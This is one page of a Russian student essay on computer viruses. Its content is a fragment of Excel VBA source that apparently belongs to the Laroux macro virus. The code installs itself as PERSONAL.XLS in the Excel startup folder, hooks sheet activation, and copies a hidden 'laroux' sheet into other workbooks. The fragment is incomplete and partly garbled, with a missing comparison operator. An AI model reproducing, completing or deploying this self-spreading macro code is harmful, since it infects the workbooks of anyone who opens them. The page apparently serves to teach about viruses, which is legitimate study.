Computer viruses
| Категория реферата: Рефераты по информатике, программированию
| Теги реферата: титульный реферата, налоги в россии
| Добавил(а) на сайт: Mjachikov.
Предыдущая страница реферата | 1 2 3 4 | Следующая страница реферата
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With newname$ = ActiveWorkbook.Name c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" &
"PERSONAL.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("laroux").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "personal.xls!check_files"
Case 1
Application.ScreenUpdating = False n4$ = ActiveWorkbook.Name p4$ = ActiveWorkbook.Path s$ = Workbooks(n4$).Sheets(1).Name
If s$ "laroux" Then
Workbooks("PERSONAL.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("laroux").Visible = False
Else
End If
Application.OnSheetActivate = ""
Рекомендуем скачать другие рефераты по теме: реферат на тему понятие, диплом 2011.
Категории:
Предыдущая страница реферата | 1 2 3 4 | Следующая страница реферата